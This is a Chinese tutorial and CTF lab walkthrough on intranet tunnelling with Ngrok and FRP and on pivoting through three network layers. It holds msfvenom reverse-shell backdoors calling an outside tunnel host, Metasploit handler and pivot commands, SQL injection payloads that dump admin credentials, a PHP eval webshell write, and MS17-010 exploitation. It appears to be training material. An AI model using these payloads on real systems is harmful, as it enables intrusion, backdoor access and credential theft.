必要基础知识点

  • 内外网简单知识
  • 内网 1 和内网 2 通信问题
  • 正向反向协议通信连接问题
  • 内网穿透代理隧道技术说明

两个内网通讯上线(Ngrok)

两个不同的内网(有网络)实现穿透控制

环境搭建

1
2
3
4
5
6
7
8
9
10
11
./sunny clientid aa0676878c162ffc

#msf生成后门
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe

#启动监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

两个内网通讯上线(Frp)

环境搭建

  • 服务端-下载-解压-修改-启动(修改安全组配置出入口)

  • 服务器修改配置文件 frps.ini:

    1
    2
    [common]
    bind_port = 6677
  • 启动服务端:

    1
    ./frps -c ./frps.ini
  • 控制端-下载-解压-修改-启动

  • 控制端修改配置文件 frpc.ini:

    1
    2
    3
    4
    5
    6
    7
    8
    [common]
    server_addr = 你的云主机 ip
    server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 5555 #转发给本机的 5555
    remote_port = 6000 #服务端用 6000 端口转发给本机
  • 启动客户端:

    1
    ./frpc -c ./frpc.ini
  • 生成后门

    1
    2
    3
    4
    5
    6
    7
    8
    #msf生成后门
    msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211 lport=6000 -f exe -o frp.exe
    #启动监听
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 127.0.0.1
    set LPORT 5555
    exploit
  • 靶机运行 frp 即可

CFS 三层内网-某CTF题

来源 2019 某 CTF 线下赛真题内网结合 WEB 攻防题库,涉及 WEB 攻击,内网代理路由等技术,每台服务器存在一个 Flag,获取每一个 Flag 对应一个积分,获取三个 Flag 结尾。

本地测试基础环境

名称 网卡1 网卡2
kali 192.168.229.143 -
Target1 192.168.1.128 192.168.22.128
Target2 - -

Target1:192.168.1.128

  • 探针目标-利用 WEB 漏洞(TP5_RCE)-获取 webshell 权限-获取 Flag-Target2

生成后门

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.229.143 LPORT=1111 -f elf >t1.elf

接受反弹

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.229.143
set LPORT 1111
exploit

信息收集及配置访问

  • 获取网络接口:run get_local_subnets

  • 查看路由地址:run autoroute -p

  • 添加路由地址:run autoroute -s 192.168.22.0/24

  • 开启本地代理:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    background #返回
    use auxiliary/server/socks_proxy
    # socks5在代理sqlmap是有问题
    set version 4a
    set srvport 2222
    exploit
    或者
    use auxiliary/server/socks4a
    set srvport 2222
    exploit

利用本地代理接口访问测试

  • 设置浏览器代理进行访问测试

  • Linux:安装 proxychains

    1
    2
    3
    4
    5
    git clone https://github.com/rofl0r/proxychains-ng.git
    cd proxychains-ng/
    ./configure --prefix=/usr --sysconfdir=/etc
    make && make install && make install-config
    vim /etc/proxychains.conf

配置 proxychains 后调用工具探针 Target2

1
2
3
vim /etc/proxychains.conf
socks4 127.0.0.1 2222
proxychains nmap -Pn -sT 192.168.22.1/24
  • 如果使用的是socks4a的话,socks4a不支持icmp协议,所以要使用不进行ping命令的-Pn
    -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
    -sT:扫描 TCP 数据包已建立的连接 connect

Windows:

利用代理工具 Proxifier 或 SocksCap64 载入代理进行进程访问测试

Target2

探针目标-利用 WEB 漏洞(SQL 注入)-后台获取 webshell 权限-获取 Flag-Target3

主机扫描

1
2
3
4
5
6
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.22.0/24
run

# Windows可以用arp扫描
use post/windows/gather/arp_scanner

sql 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 确定数据库
http://192.168.22.129/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

# 读表名
http://192.168.22.129/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='bagecms'),1,32),0x7e),1)--+

http://192.168.22.129/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='bagecms' limit 0,1),0x7e),1)--+

# 读取字段
http://192.168.22.129/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='bagecms' and table_name='bage_admin'),1,32),0x7e),1)--+

# 确定字段值:
http://192.168.22.129/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select concat(username,0x7e,password) from bagecms.bage_admin),1,31),0x7e),1)--+

# 写入shell
' or 1 INTO OUTFILE '/www/wwwroot/r6.php' LINES TERMINATED BY '<?php eval($_GET[8909]);?>
  • 得到后台账号密码为admin/123qwe

添加后门

1
http://192.168.22.129/index.php?r=admini/default/index#4_0
  • 生成正向后门:
    1
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
  • 访问接受:
    1
    2
    3
    4
    use exploit/multi/handler
    set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.129
    set LPORT 3333
    exploit

信息收集及配置访问

  • 获取网络接口:run get_local_subnets

  • 查看路由地址:run autoroute -p

  • 添加路由地址:run autoroute -s 192.168.33.0/24

Target3

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
Proxychains4 nmap -Pn -sT 192.168.33.33
# 探测操作系统
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.33.33

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
exploit
shell
cd /
dir /S flag.txt /B
type flag.txt

涉及资源

1
2
3
4
5
6
7
8
9
10
http://www.ngrok.cc/
https://www.natfrp.com/
https://gofrp.org/docs/examples/
https://github.com/fatedier/frp
https://github.com/rofl0r/proxychains-ng
https://www.anquanke.com/post/id/184855 FRP 内网穿透
https://www.cnblogs.com/xuyaowen/p/ProxyChians4.html Linux安装proxychains-ng
https://blog.csdn.net/weixin_45447309/article/details/106697369 frp多层socks代理+端口映射
https://github.com/ehang-io/nps
https://teamssix.com/210612-213704.html nps 的使用